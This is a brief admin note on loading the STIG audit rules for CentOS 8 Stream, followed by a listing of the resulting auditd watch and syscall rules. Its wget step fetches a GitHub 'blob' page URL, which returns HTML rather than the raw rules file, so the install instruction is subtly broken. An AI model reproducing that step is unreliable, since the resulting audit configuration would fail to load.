Stig Rules for CentOS 8 Stream

https://github.com/linux-audit/audit-userspace/blob/master/rules/30-stig.rules

# cd /etc/audit/rules.d/

# wget https://github.com/linux-audit/audit-userspace/blob/master/rules/30-stig.rules

# reboot

# auditctl -l

-a always,exit -F arch=b32 -S stime,settimeofday,adjtimex -F key=time-change

-a always,exit -F arch=b64 -S adjtimex,settimeofday -F key=time-change

-a always,exit -F arch=b32 -S clock_settime -F a0=0x0 -F key=time-change

-a always,exit -F arch=b64 -S clock_settime -F a0=0x0 -F key=time-change

-w /etc/localtime -p wa -k time-change

-w /etc/group -p wa -k identity

-w /etc/passwd -p wa -k identity

-w /etc/gshadow -p wa -k identity

-w /etc/shadow -p wa -k identity

-w /etc/security/opasswd -p wa -k identity

-a always,exit -F arch=b32 -S sethostname,setdomainname -F key=system-locale

-a always,exit -F arch=b64 -S sethostname,setdomainname -F key=system-locale

-w /etc/issue -p wa -k system-locale

-w /etc/issue.net -p wa -k system-locale

-w /etc/hosts -p wa -k system-locale

-w /etc/hostname -p wa -k system-locale

-w /etc/NetworkManager/ -p wa -k system-locale

-w /etc/selinux/ -p wa -k MAC-policy

-a always,exit -F arch=b32 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=-1 -F key=perm_mod

-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=-1 -F key=perm_mod

-a always,exit -F arch=b32 -S lchown,fchown,chown,fchownat -F auid>=1000 -F auid!=-1 -F key=perm_mod

-a always,exit -F arch=b64 -S chown,fchown,lchown,fchownat -F auid>=1000 -F auid!=-1 -F key=perm_mod

-a always,exit -F arch=b32 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=-1 -F key=perm_mod

-a always,exit -F arch=b64 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=-1 -F key=perm_mod

-a always,exit -F arch=b32 -S open,creat,truncate,ftruncate,openat,open_by_handle_at,openat2 -F exit=-EACCES -F auid>=1000 -F auid!=-1 -F key=access

-a always,exit -F arch=b32 -S open,creat,truncate,ftruncate,openat,open_by_handle_at,openat2 -F exit=-EPERM -F auid>=1000 -F auid!=-1 -F key=access

-a always,exit -F arch=b64 -S open,truncate,ftruncate,creat,openat,open_by_handle_at,openat2 -F exit=-EACCES -F auid>=1000 -F auid!=-1 -F key=access

-a always,exit -F arch=b64 -S open,truncate,ftruncate,creat,openat,open_by_handle_at,openat2 -F exit=-EPERM -F auid>=1000 -F auid!=-1 -F key=access

-a always,exit -F arch=b32 -S mount -F auid>=1000 -F auid!=-1 -F key=export

-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=-1 -F key=export

-a always,exit -F arch=b32 -S unlink,rename,unlinkat,renameat -F auid>=1000 -F auid!=-1 -F key=delete

-a always,exit -F arch=b64 -S rename,unlink,unlinkat,renameat -F auid>=1000 -F auid!=-1 -F key=delete

-w /etc/sudoers -p wa -k actions

-w /etc/sudoers.d -p wa -k actions